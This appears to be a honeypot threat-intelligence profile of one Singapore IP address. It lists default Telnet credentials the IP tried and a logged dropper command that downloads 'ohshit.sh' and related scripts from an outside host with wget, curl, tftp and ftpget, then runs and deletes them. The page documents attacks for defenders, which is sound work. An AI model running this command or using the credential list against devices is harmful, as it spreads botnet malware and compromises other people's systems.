Active Threat • LOW
149.28.131.40
Country of Origin🇸🇬 Singapore
First Detection2/22/2026
Last Activity2/23/2026
ISPThe Constant Company, LLC
🎯
85
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
2
Malware
Geolocation
- Country
- 🇸🇬 Singapore
- City
- Singapore
- ASN
- AS20473
- ISP
- The Constant Company, LLC
Attack Types
cowrie
Attacked Ports
23
Associated Malware
Attempted Credentials
🔐root/1234
2x🔐root/anko
1x🔐admin/admin
1x🔐root/root
1x🔐root/123456
1x🔐root/Zte521
1x🔐admin/1234
1x🔐admin/(empty)
1x🔐pi/raspberry
1xExecuted Commands
$
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -qO- http://139.59.119.89/ohshit.sh | sh; curl -s http://139.59.119.89/ohshit.sh | sh; wget http://139.59.119.89/ohshit.sh -O ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 139.59.119.89 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 139.59.119.89; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.119.89 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit2.sh 1xRisk Assessment
35
/100
LowMediumHighCritical